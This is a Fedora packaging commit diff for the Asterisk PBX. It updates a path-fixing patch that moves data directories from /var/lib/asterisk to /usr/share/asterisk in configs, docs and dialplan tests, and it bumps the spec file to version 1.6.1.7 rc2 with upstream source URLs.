+--- doc/tex/asterisk-conf.tex	(revision 222649)
++++ doc/tex/asterisk-conf.tex	(working copy)
+@@ -18,10 +18,10 @@
+ astmoddir => /usr/lib/asterisk/modules
+ 
+ ; Where additional 'library' elements (scripts, etc.) are located
+-astvarlibdir => /var/lib/asterisk
++astvarlibdir => /usr/share/asterisk
+ 
+ ; Where AGI scripts/programs are located
+-astagidir => /var/lib/asterisk/agi-bin
++astagidir => /usr/share/asterisk/agi-bin
+ 
+ ; Where spool directories are located
+ ; Voicemail, monitor, dictation and other apps will create files here
+Index: doc/tex/privacy.tex
+===================================================================
+--- doc/tex/privacy.tex	(revision 222649)
++++ doc/tex/privacy.tex	(working copy)
+@@ -210,7 +210,7 @@
+ 
+ When there is no CallerID, P and p options will always record an intro
+ for the incoming caller. This intro will be stored temporarily in the
+-\path{/var/lib/asterisk/sounds/priv-callerintros} dir, under the name
++\path{/usr/share/asterisk/sounds/priv-callerintros} dir, under the name
+ NOCALLERID\_$<$extension$>$ $<$channelname$>$ and will be erased after the
+ callee decides what to do with the call.
+ 
+@@ -245,7 +245,7 @@
+ \subsubsection{Introductions}
+ Unless instructed to not save introductions (see the 'n' option above),
+ the screening modes will save the recordings of the caller's names in
+-the directory \path{/var/lib/asterisk/sounds/priv-callerintros}, if they have
++the directory \path{/usr/share/asterisk/sounds/priv-callerintros}, if they have
+ a CallerID.  Just the 10-digit callerid numbers are used as filenames,
+ with a ".gsm" at the end.
+ 
+@@ -260,7 +260,7 @@
+ 
+ \begin{astlisting}
+ \begin{verbatim}
+-exten => s,6,Set(PATH=/var/lib/asterisk/sounds/priv-callerintros)
++exten => s,6,Set(PATH=/usr/share/asterisk/sounds/priv-callerintros)
+ exten => s,7,System(/usr/bin/play ${PATH}/${CALLERID(num)}.gsm&,0)
+ \end{verbatim}
+ \end{astlisting}
+Index: configs/iax.conf.sample
+===================================================================
+--- configs/iax.conf.sample	(revision 222649)
++++ configs/iax.conf.sample	(working copy)
+@@ -412,8 +412,8 @@
+ ; authentication is used, "inkeys" is a list of acceptable public keys on the 
+ ; local system that can be used to authenticate the remote peer, separated by
+ ; the ":" character.  "outkey" is a single, private key to use to authenticate
+-; to the other side.  Public keys are named /var/lib/asterisk/keys/<name>.pub
+-; while private keys are named /var/lib/asterisk/keys/<name>.key.  Private
++; to the other side.  Public keys are named /usr/share/asterisk/keys/<name>.pub
++; while private keys are named /usr/share/asterisk/keys/<name>.key.  Private
+ ; keys should always be 3DES encrypted.
+ ;
+ ;
+Index: configs/festival.conf.sample
+===================================================================
+--- configs/festival.conf.sample	(revision 222649)
++++ configs/festival.conf.sample	(working copy)
+@@ -21,7 +21,7 @@
+ ; THIS DIRECTORY *MUST* EXIST and must be writable from the asterisk process.
+ ; Defaults to /tmp/
+ ;
+-;cachedir=/var/lib/asterisk/festivalcache/
++;cachedir=/var/spool/asterisk/festival/
+ ;
+ ; Festival command to send to the server.
+ ; Defaults to: (tts_textasterisk "%s" 'file)(quit)\n
+Index: configs/http.conf.sample
+===================================================================
+--- configs/http.conf.sample	(revision 222649)
++++ configs/http.conf.sample	(working copy)
+@@ -5,7 +5,7 @@
+ ; Note about Asterisk documentation:
+ ;   If Asterisk was installed from a tarball, then the HTML documentation should
+ ;   be installed in the static-http/docs directory which is
+-;   (/var/lib/asterisk/static-http/docs) on linux by default.  If the Asterisk
++;   (/usr/share/asterisk/static-http/docs) on linux by default.  If the Asterisk
+ ;   HTTP server is enabled in this file by setting the "enabled", "bindaddr",
+ ;   and "bindport" options, then you should be able to view the documentation
+ ;   remotely by browsing to:
+@@ -66,6 +66,6 @@
+ ;[post_mappings]
+ ;
+ ; In this example, if the prefix option is set to "asterisk", then using the
+-; POST URL: /asterisk/uploads will put files in /var/lib/asterisk/uploads/.
+-;uploads = /var/lib/asterisk/uploads/
++; POST URL: /asterisk/uploads will put files in /var/spool/asterisk/uploads/.
++;uploads = /var/spool/asterisk/uploads/
+ ;
+Index: configs/phoneprov.conf.sample
+===================================================================
+--- configs/phoneprov.conf.sample	(revision 222649)
++++ configs/phoneprov.conf.sample	(working copy)
+@@ -57,4 +57,4 @@
+ ${TOLOWER(${MAC})}-phone.cfg => 000000000000-phone.cfg   ; (relative to AST_DATA_DIR/phoneprov)
+ config/${TOLOWER(${MAC})} => polycom.xml                 ; Dynamic Filename => template file 
+ ${TOLOWER(${MAC})}-directory.xml => 000000000000-directory.xml
+-setvar => CUSTOM_CONFIG=/var/lib/asterisk/phoneprov/configs/custom.cfg  ; Custom variable
++setvar => CUSTOM_CONFIG=/usr/share/asterisk/phoneprov/configs/custom.cfg  ; Custom variable
+Index: configs/musiconhold.conf.sample
+===================================================================
+--- configs/musiconhold.conf.sample	(revision 222649)
++++ configs/musiconhold.conf.sample	(working copy)
+@@ -39,11 +39,11 @@
+ 
+ [default]
+ mode=files
+-directory=/var/lib/asterisk/moh
++directory=/usr/share/asterisk/moh
+ ;
+ ;[native-random]
+ ;mode=files
+-;directory=/var/lib/asterisk/moh
++;directory=/usr/share/asterisk/moh
+ ;digit=#        ; If this option is set for a class, then when callers are
+ ;               ; listening to music on hold, they can press this digit, and
+ ;               ; they will switch to listening to this music class.
+@@ -51,7 +51,7 @@
  
- macro callerid-liar()
- {
--	TrySystem(/usr/bin/play /var/lib/asterisk/sounds/priv-callerintros/LIAR.gsm&);
-+	TrySystem(/usr/bin/play /usr/share/asterisk/sounds/priv-callerintros/LIAR.gsm&);
- 	Background(priv-liar);  // Script: OOOps! Sorry! I don't allow men with ski masks pulled over their 
-                             //         faces to get in the front door, and unidentified callers won't fair
-                             //         any better. You entered *MY* phone number. That won't work.
-@@ -2105,7 +2105,7 @@ context homeline {
- 		PrivacyManager();
- 		if( "${PRIVACYMGRSTATUS}" = "FAILED" )
- 		{
--			TrySystem(/usr/bin/play /var/lib/asterisk/sounds/privmanfailed.gsm);
-+			TrySystem(/usr/bin/play /usr/share/asterisk/sounds/privmanfailed.gsm);
- 			&std-priv-exten(Zap/3r1&Zap/5r1,2,25,mtw,telemarket,telemarket);
- 			Hangup();
- 			return;
-@@ -2137,7 +2137,7 @@ context homeline {
- 			verbose(direct is XXX#${direct}XXXX);
- 			Playback(greetings/direct); // Welcome to the Murphy residence. This system will automatically try to connect you to...
- 			Playback(/var/spool/asterisk/voicemail/default/${direct}/greet);
--			TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm);
-+			TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm);
- 			TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/${direct}/greet.wav&);
- 			switch(${direct})
- 			{
-@@ -2222,7 +2222,7 @@ context homeline {
- 		
- 	}
- 	1 => {  // Sonya
--			TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm);
-+			TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm);
- 			TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/2/greet.wav&);
- 			&std-priv-exten(Zap/3r1&Zap/5r1,2,25,mtw,telemarket,telemarket);
- 			goto s|loopback;
-@@ -2420,51 +2420,51 @@ context homeline-kids {
- 		Background(murphy-homeline-kids);        //  Which Kid? 1=Sean, 2:Eric, 3:Ryan, 4:Kyle, 5:Amber, 6:Alex, 7:Neal
- 	}
- 	1 => {  // SEAN
--			TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm);
-+			TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm);
- 			TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/3/greet.wav&);
- 			// &std-priv-exten(Zap/3r2&Zap/5r2,3,35,mtw,telemarket,telemarket);
- 			&std-priv-exten(IAX2/seaniax&Zap/5r2,3,35,mtw,telemarket,telemarket);
- 			goto homeline|s|loopback;
- 	}
- 	2 => {  // ERIC
--			TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm);
-+			TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm);
- 			TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/4/greet.wav&);
- 			Voicemail(u4);
- 			goto homeline|s|loopback;
- 			
- 			// SetMusicOnHold(erics);
--			// TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm);
-+			// TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm);
- 			// TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/4/greet.wav&);
- 			// &std-priv-exten(Zap/3r2&Zap/5r2,4,35,mtw,telemarket,telemarket);
- 			// goto homeline|s|loopback;
- 	}
- 	3 => {  // RYAN
--			TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm);
-+			TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm);
- 			TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/5/greet.wav&);
- 			&std-priv-exten(Zap/3r2&Zap/5r2,5,35,mtw,telemarket,telemarket);
- 			goto homeline|s|loopback;
- 	}
- 	4 => {  // KYLE
--			TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm);
-+			TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm);
- 			TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/6/greet.wav&);
- 			&std-priv-exten(Zap/3r2&Zap/5r2,6,35,mtw,telemarket,telemarket);
- 			goto homeline|s|loopback;
- 	}
- 	5 => {
--			TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm);
-+			TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm);
- 			TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/7/greet.wav&);
- 			&std-priv-exten(Zap/3r2&Zap/5r2,7,35,mtw,telemarket,telemarket);
- 			goto homeline|s|loopback;
- 			
- 	}
- 	6 => {
--			TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm);
-+			TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm);
- 			TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/8/greet.wav&);
- 			&std-priv-exten(Zap/3r2&Zap/5r2,8,35,mtw,telemarket,telemarket);
- 			goto homeline|s|loopback;
- 	}
- 	7 => {
--			TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm);
-+			TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm);
- 			TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/9/greet.wav&);
- 			&std-priv-exten(Zap/3r2&Zap/5r2,9,35,mtw,telemarket,telemarket);
- 			goto homeline|s|loopback;
-@@ -2516,7 +2516,7 @@ context workline {
-                                               // Otherwise, dial 1, and hopefully, you will reach Steve.
- 	}
- 	1 => {
--		TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm);
-+		TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm);
- 		TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/1/greet.wav&);
- 		
- 		&std-priv-exten(Zap/6&Sip/murf,1,30,mtw,telemarket,telemarket);
-@@ -2777,7 +2777,7 @@ context homeext {
- 	}
- 	761 => {
- 		Record(announcement:gsm);
--		TrySystem(/usr/bin/play /var/lib/asterisk/sounds/announcement.gsm&);
-+		TrySystem(/usr/bin/play /usr/share/asterisk/sounds/announcement.gsm&);
- 		goto s|loopback;
- 	}
- 	762 => {
-diff --git a/pbx/ael/ael-test/ref.ael-vtest13 b/pbx/ael/ael-test/ref.ael-vtest13
-index 07ae29e..70956d4 100644
---- a/pbx/ael/ael-test/ref.ael-vtest13
-+++ b/pbx/ael/ael-test/ref.ael-vtest13
-@@ -2107,7 +2107,7 @@ exten => s,20,Return()
+ ;[native-alphabetical]
+ ;mode=files
+-;directory=/var/lib/asterisk/moh
++;directory=/usr/share/asterisk/moh
+ ;sort=alpha     ; Sort the files in alphabetical order.  If this option is
+ ;               ; not specified, the sort order is undefined.
  
+@@ -63,7 +63,7 @@
+ ;mode=custom
+ ; Note that with mode=custom, a directory is not required, such as when reading
+ ; from a stream.
+-;directory=/var/lib/asterisk/mohmp3
++;directory=/usr/share/asterisk/mohmp3
+ ;application=/usr/bin/mpg123 -q -r 8000 -f 8192 -b 2048 --mono -s
  
- [callerid-liar]
--exten => s,1,TrySystem(/usr/bin/play /var/lib/asterisk/sounds/priv-callerintros/LIAR.gsm&)
-+exten => s,1,TrySystem(/usr/bin/play /usr/share/asterisk/sounds/priv-callerintros/LIAR.gsm&)
- exten => s,2,Background(priv-liar)
- exten => s,3,Hangup()
- exten => s,4,Return()
-@@ -2142,7 +2142,7 @@ exten => s,3,Set(repeatcount=0)
- exten => s,4,Zapateller(nocallerid)
- exten => s,5,PrivacyManager()
- exten => s,6,GotoIf($["${PRIVACYMGRSTATUS}" = "FAILED" ]?7:11)
--exten => s,7,TrySystem(/usr/bin/play /var/lib/asterisk/sounds/privmanfailed.gsm)
-+exten => s,7,TrySystem(/usr/bin/play /usr/share/asterisk/sounds/privmanfailed.gsm)
- exten => s,8,Gosub(std-priv-exten,s,1(Zap/3r1&Zap/5r1,2,25,mtw,telemarket,telemarket))
- exten => s,9,Hangup()
- exten => s,10,Return()
-@@ -2168,7 +2168,7 @@ exten => s,29,GotoIf($["${direct}" != "" & ${direct} != 0 ]?30:37)
- exten => s,30,verbose(direct is XXX#${direct}XXXX)
- exten => s,31,Playback(greetings/direct)
- exten => s,32,Playback(/var/spool/asterisk/voicemail/default/${direct}/greet)
--exten => s,33,TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm)
-+exten => s,33,TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm)
- exten => s,34,TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/${direct}/greet.wav&)
- exten => s,35,Goto(sw-92-${direct},10)
- exten => s,36,NoOp(Finish switch-if-homeline-91-92)
-@@ -2247,7 +2247,7 @@ exten => sw-92-2,10,Gosub(std-priv-exten,s,1(Zap/3r1&Zap/5r1,2,25,mtw,telemarket
- exten => sw-92-2,11,Goto(s,loopback)
- exten => sw-92-1,10,Gosub(std-priv-exten,s,1(Zap/6r3&Sip/murf,1,25,mpA(beep)tw,telemarket,telemarket))
- exten => sw-92-1,11,Goto(s,loopback)
--exten => 1,1,TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm)
-+exten => 1,1,TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm)
- exten => 1,2,TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/2/greet.wav&)
- exten => 1,3,Gosub(std-priv-exten,s,1(Zap/3r1&Zap/5r1,2,25,mtw,telemarket,telemarket))
- exten => 1,4,Goto(s,loopback)
-@@ -2324,31 +2324,31 @@ exten => o,1,Goto(s,begin)
+ ;[ulawstream]
+@@ -75,5 +75,5 @@
+ ; choice
+ ;[solaris]
+ ;mode=custom
+-;directory=/var/lib/asterisk/mohmp3
++;directory=/usr/share/asterisk/mohmp3
+ ;application=/site/sw/bin/madplay -Q -o raw:- --mono -R 8000 -a -12
+Index: configs/osp.conf.sample
+===================================================================
+--- configs/osp.conf.sample	(revision 222649)
++++ configs/osp.conf.sample	(working copy)
+@@ -36,8 +36,8 @@
+ ;source=domain name or [IP address in brackets]
+ ;
+ ; Define path and file name of crypto files.
+-; The default path for crypto file is /var/lib/asterisk/keys.  If no path is 
+-; defined, crypto files will in /var/lib/asterisk/keys directory.
++; The default path for crypto file is /usr/share/asterisk/keys.  If no path is 
++; defined, crypto files will in /usr/share/asterisk/keys directory.
+ ;
+ ; Specify the private key file name.  
+ ; If this parameter is unspecified or not present, the default name will be the 
+Index: configs/res_config_sqlite.conf
+===================================================================
+--- configs/res_config_sqlite.conf	(revision 222649)
++++ configs/res_config_sqlite.conf	(working copy)
+@@ -1,7 +1,7 @@
+ [general]
+ 
+ ; The database file.
+-dbfile => /var/lib/asterisk/sqlite.db
++dbfile => /var/spool/asterisk/sqlite.db
+ 
+ ; Both config_table and cdr_table are optional. If config_table is omitted,
+ ; you must specify it in extconfig.conf. If it is both provided here and in
+Index: utils/ael_main.c
+===================================================================
+--- utils/ael_main.c	(revision 222649)
++++ utils/ael_main.c	(working copy)
+@@ -496,7 +496,7 @@
+ 		strcpy(config_dir, "/etc/asterisk");
+ 		localized_use_conf_dir();
+ 	}
+-	strcpy(var_dir, "/var/lib/asterisk");
++	strcpy(var_dir, "/usr/share/asterisk");
+ 	
+ 	if( dump_extensions ) {
+ 		dumpfile = fopen("extensions.conf.aeldump","w");
+Index: contrib/scripts/astgenkey.8
+===================================================================
+--- contrib/scripts/astgenkey.8	(revision 222649)
++++ contrib/scripts/astgenkey.8	(working copy)
+@@ -88,7 +88,7 @@
+ .RE
  
- [homeline-kids]
- exten => s,1(begin),Background(murphy-homeline-kids)
--exten => 1,1,TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm)
-+exten => 1,1,TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm)
- exten => 1,2,TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/3/greet.wav&)
- exten => 1,3,Gosub(std-priv-exten,s,1(IAX2/seaniax&Zap/5r2,3,35,mtw,telemarket,telemarket))
- exten => 1,4,Goto(homeline,s,loopback)
--exten => 2,1,TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm)
-+exten => 2,1,TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm)
- exten => 2,2,TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/4/greet.wav&)
- exten => 2,3,Voicemail(u4)
- exten => 2,4,Goto(homeline,s,loopback)
--exten => 3,1,TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm)
-+exten => 3,1,TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm)
- exten => 3,2,TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/5/greet.wav&)
- exten => 3,3,Gosub(std-priv-exten,s,1(Zap/3r2&Zap/5r2,5,35,mtw,telemarket,telemarket))
- exten => 3,4,Goto(homeline,s,loopback)
--exten => 4,1,TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm)
-+exten => 4,1,TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm)
- exten => 4,2,TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/6/greet.wav&)
- exten => 4,3,Gosub(std-priv-exten,s,1(Zap/3r2&Zap/5r2,6,35,mtw,telemarket,telemarket))
- exten => 4,4,Goto(homeline,s,loopback)
--exten => 5,1,TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm)
-+exten => 5,1,TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm)
- exten => 5,2,TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/7/greet.wav&)
- exten => 5,3,Gosub(std-priv-exten,s,1(Zap/3r2&Zap/5r2,7,35,mtw,telemarket,telemarket))
- exten => 5,4,Goto(homeline,s,loopback)
--exten => 6,1,TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm)
-+exten => 6,1,TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm)
- exten => 6,2,TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/8/greet.wav&)
- exten => 6,3,Gosub(std-priv-exten,s,1(Zap/3r2&Zap/5r2,8,35,mtw,telemarket,telemarket))
- exten => 6,4,Goto(homeline,s,loopback)
--exten => 7,1,TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm)
-+exten => 7,1,TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm)
- exten => 7,2,TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/9/greet.wav&)
- exten => 7,3,Gosub(std-priv-exten,s,1(Zap/3r2&Zap/5r2,9,35,mtw,telemarket,telemarket))
- exten => 7,4,Goto(homeline,s,loopback)
-@@ -2376,7 +2376,7 @@ exten => s,5,Gosub(fillcidname,s,1)
- exten => s,6,TrySystem(/usr/local/bin/who-is-it ${CALLERID(num)} "${CALLERID(name)}"&)
- exten => s,7(loopback),Background(greetings/greeting)
- exten => s,8,Background(murphy-office-intro1)
--exten => 1,1,TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm)
-+exten => 1,1,TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm)
- exten => 1,2,TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/1/greet.wav&)
- exten => 1,3,Gosub(std-priv-exten,s,1(Zap/6&Sip/murf,1,30,mtw,telemarket,telemarket))
- exten => 1,4,Goto(s,loopback)
-@@ -2502,7 +2502,7 @@ exten => 6,1,Background(recording)
- exten => 760,1,DateTime()
- exten => 760,2,Goto(s,loopback)
- exten => 761,1,Record(announcement:gsm)
--exten => 761,2,TrySystem(/usr/bin/play /var/lib/asterisk/sounds/announcement.gsm&)
-+exten => 761,2,TrySystem(/usr/bin/play /usr/share/asterisk/sounds/announcement.gsm&)
- exten => 761,3,Goto(s,loopback)
- exten => 762,1,agi(tts-riddle.agi)
- exten => 762,2,Background(gsm/what-time-it-is2)
--- 
-1.6.1
-
+ Those files should be copied to 
+-.I /var/lib/asterisk/keys
++.I /usr/share/asterisk/keys
+ 
+ (The private key: on your system. The public key: on other systems)
+ 
+@@ -122,10 +122,10 @@
+ And then make the key accessible to Asterisk (assuming you run it as
+ user "asterisk").
+ 
+-  chown asterisk /var/lib/asterisk/keys/yourname.*
++  chown asterisk /usr/share/asterisk/keys/yourname.*
+ 
+ .SH FILES
+-.I /var/lib/asterisk/keys
++.I /usr/share/asterisk/keys
+ .RS
+ .RE
+ 
+Index: contrib/scripts/astgenkey
+===================================================================
+--- contrib/scripts/astgenkey	(revision 222649)
++++ contrib/scripts/astgenkey	(working copy)
+@@ -29,7 +29,7 @@
+ 	echo "in PEM format for use by Asterisk.  You will be asked to"
+ 	echo "enter a passcode for your key multiple times.  Please"
+ 	echo "enter the same code each time.  The resulting files will"
+-	echo "need to be moved to /var/lib/asterisk/keys if you want"
++	echo "need to be moved to /usr/share/asterisk/keys if you want"
+ 	echo "to use them, and any private keys (.key files) will"
+ 	echo "need to be initialized at runtime either by running"
+ 	echo "Asterisk with the '-i' option, or with the 'init keys'"
+Index: contrib/utils/README.rawplayer
+===================================================================
+--- contrib/utils/README.rawplayer	(revision 222649)
++++ contrib/utils/README.rawplayer	(working copy)
+@@ -16,11 +16,11 @@
+ sox -c 1 track01.wav -t raw -r 8000 -c 1 -s -w track01.raw
+ 
+ 
+-Once you have the raw files put them in any dir on your system (eg /var/lib/asterisk/holdmusic_raw).
++Once you have the raw files put them in any dir on your system (eg /usr/share/asterisk/holdmusic_raw).
+ and set up a class in musiconhold.conf like so:
+ 
+ [classes]
+-default => custom:/var/lib/asterisk/holdmusic_raw,/usr/bin/rawplayer
++default => custom:/usr/share/asterisk/holdmusic_raw,/usr/bin/rawplayer
+ 
+ 
+ This is the most efficient way to implement moh because no cpu usage is required to 
+Index: UPGRADE-1.4.txt
+===================================================================
+--- UPGRADE-1.4.txt	(revision 222649)
++++ UPGRADE-1.4.txt	(working copy)
+@@ -92,7 +92,7 @@
+ WARNING: Asterisk 1.4 supports a new layout for sound files in multiple languages;
+ instead of the alternate-language files being stored in subdirectories underneath
+ the existing files (for French, that would be digits/fr, letters/fr, phonetic/fr,
+-etc.) the new layout creates one directory under /var/lib/asterisk/sounds for the
++etc.) the new layout creates one directory under /usr/share/asterisk/sounds for the
+ language itself, then places all the sound files for that language under that
+ directory and its subdirectories. This is the layout that will be created if you
+ select non-English languages to be installed via menuselect, HOWEVER Asterisk does


Index: asterisk.spec
===================================================================
RCS file: /cvs/pkgs/rpms/asterisk/F-12/asterisk.spec,v
retrieving revision 1.56
retrieving revision 1.57
diff -u -p -r1.56 -r1.57
--- asterisk.spec	10 Sep 2009 04:38:52 -0000	1.56
+++ asterisk.spec	8 Oct 2009 13:23:57 -0000	1.57
@@ -1,48 +1,22 @@
-#define _rc 1
+%define _rc 2
 Summary: The Open Source PBX
 Name: asterisk
-Version: 1.6.1.6
-Release: 2%{?_rc:.rc%{_rc}}%{?dist}
+Version: 1.6.1.7
+Release: 0.1%{?_rc:.rc%{_rc}}%{?dist}
 License: GPLv2
 Group: Applications/Internet
 URL: http://www.asterisk.org/
 
-# The Asterisk tarball contains some items that we don't want in there,
-# so start with the original tarball from here:
-#
-# http://downloads.digium.com/pub/telephony/asterisk/releases/asterisk-%{version}%{?_rc:-rc%{_rc}}.tar.gz
-#
-# Then run the included script file to build the stripped tarball:
-#
-# sh asterisk-strip.sh %{version}
-
-# MD5 Sums
-# ========
-# 63a928373e741524aac09d8c078df7d5  asterisk-1.6.1.6.tar.gz
-# 4f57c6c9fff1bfeb9061679c123f7468  asterisk-1.6.1.6-stripped.tar.gz
-#
-# SHA1 Sums
-# =========
-# 79a9a3635fdf2e8422dadabd9f05da3329e60dc1  asterisk-1.6.1.6.tar.gz
-# b6ef13ec7b7b2335cd98dec09f143f9f446d9bb1  asterisk-1.6.1.6-stripped.tar.gz
-#
-# SHA256 Sums
-# =========
-# ce56be843b85946bebbb89af06819585f45dd50ac544c21ca81acab994036c22  asterisk-1.6.1.6.tar.gz
-# 4a91e3b8a420756f3b7b2b2d85335e0c47431bcaa8f02ea40e2c9ed835283fe3  asterisk-1.6.1.6-stripped.tar.gz
-
-Source0: asterisk-%{version}%{?_rc:-rc%{_rc}}-stripped.tar.gz
+Source0: http://downloads.asterisk.org/pub/telephony/asterisk/releases/asterisk-%{version}%{?_rc:-rc%{_rc}}.tar.gz
 Source1: asterisk-logrotate
 Source2: menuselect.makedeps
 Source3: menuselect.makeopts
-Source4: asterisk-strip.sh
-Source5: asterisk-%{version}%{?_rc:-rc%{_rc}}.tar.gz.asc
+Source5: http://downloads.asterisk.org/pub/telephony/asterisk/releases/asterisk-%{version}%{?_rc:-rc%{_rc}}.tar.gz.asc
 Source6: asterisk-developer-pubring.gpg
 
 Patch1:  0001-Modify-init-scripts-for-better-Fedora-compatibility.patch
 Patch2:  0002-Modify-modules.conf-so-that-different-voicemail-modu.patch
 Patch5:  0005-Build-using-external-libedit.patch
-Patch6:  0006-Revert-changes-to-pbx_lua-from-rev-126363-that-cause.patch
 Patch8:  0008-change-configure.ac-to-look-for-pkg-config-gmime-2.4.patch
 Patch10: 0010-my-guess-as-replacements-for-the-missing-broken-stuf.patch
 Patch11: 0011-Fix-up-some-paths.patch
@@ -93,6 +67,7 @@ Requires(preun): /sbin/service
 # asterisk-conference package removed since patch no longer compiles
 Obsoletes: asterisk-conference <= 1.6.0-0.14.beta9
 Obsoletes: asterisk-mobile <= 1.6.1-0.23.rc1
+Obsoletes: asterisk-firmware <= 1.6.1.6-1
 
 %description
 Asterisk is a complete PBX in software. It runs on Linux and provides
@@ -178,15 +153,6 @@ Requires: festival
 %description festival
 Application for the Asterisk PBX that uses Festival to convert text to speech.
 
-%package firmware
-Summary: Firmware for the Digium S101I (IAXy)
-Group: Applications/Internet
-License: Redistributable, no modification permitted
-Requires: asterisk = %{version}-%{release}
-
-%description firmware
-Firmware for the Digium S101I (IAXy).
-
 %package ices
 Summary: Stream audio from Asterisk to an IceCast server
 Group: Applications/Internet
@@ -414,10 +380,9 @@ local filesystem.
 %patch1 -p1
 %patch2 -p0
 %patch5 -p0
-%patch6 -p1
 %patch8 -p0
 %patch10 -p1
-%patch11 -p1
+%patch11 -p0
 %patch12 -p1
 
 cp %{SOURCE2} menuselect.makedeps
@@ -457,21 +422,21 @@ popd
 
 %configure --with-imap=system --with-gsm=/usr --with-libedit=yes
 
-ASTCFLAGS="%{optflags}" make DEBUG= OPTIMIZE= ASTVARRUNDIR=%{_localstatedir}/run/asterisk ASTDATADIR=%{_datadir}/asterisk NOISY_BUILD=1
+ASTCFLAGS="%{optflags}" make DEBUG= OPTIMIZE= ASTVARRUNDIR=%{_localstatedir}/run/asterisk ASTDATADIR=%{_datadir}/asterisk ASTVARLIBDIR=%{_datadir}/asterisk ASTDBDIR=%{_localstatedir}/spool/asterisk NOISY_BUILD=1
 
 rm apps/app_voicemail.o apps/app_directory.o
 mv apps/app_voicemail.so apps/app_voicemail_plain.so
 mv apps/app_directory.so apps/app_directory_plain.so
 
 %{__sed} -i -e 's/^MENUSELECT_OPTS_app_voicemail=.*$/MENUSELECT_OPTS_app_voicemail=IMAP_STORAGE/' menuselect.makeopts
-ASTCFLAGS="%{optflags}" make DEBUG= OPTIMIZE= ASTVARRUNDIR=%{_localstatedir}/run/asterisk ASTDATADIR=%{_datadir}/asterisk NOISY_BUILD=1
+ASTCFLAGS="%{optflags}" make DEBUG= OPTIMIZE= ASTVARRUNDIR=%{_localstatedir}/run/asterisk ASTDATADIR=%{_datadir}/asterisk ASTVARLIBDIR=%{_datadir}/asterisk ASTDBDIR=%{_localstatedir}/spool/asterisk NOISY_BUILD=1
 
 rm apps/app_voicemail.o apps/app_directory.o
 mv apps/app_voicemail.so apps/app_voicemail_imap.so
 mv apps/app_directory.so apps/app_directory_imap.so
 
 %{__sed} -i -e 's/^MENUSELECT_OPTS_app_voicemail=.*$/MENUSELECT_OPTS_app_voicemail=ODBC_STORAGE/' menuselect.makeopts
-ASTCFLAGS="%{optflags}" make DEBUG= OPTIMIZE= ASTVARRUNDIR=%{_localstatedir}/run/asterisk ASTDATADIR=%{_datadir}/asterisk NOISY_BUILD=1
+ASTCFLAGS="%{optflags}" make DEBUG= OPTIMIZE= ASTVARRUNDIR=%{_localstatedir}/run/asterisk ASTDATADIR=%{_datadir}/asterisk ASTVARLIBDIR=%{_datadir}/asterisk ASTDBDIR=%{_localstatedir}/spool/asterisk NOISY_BUILD=1
 
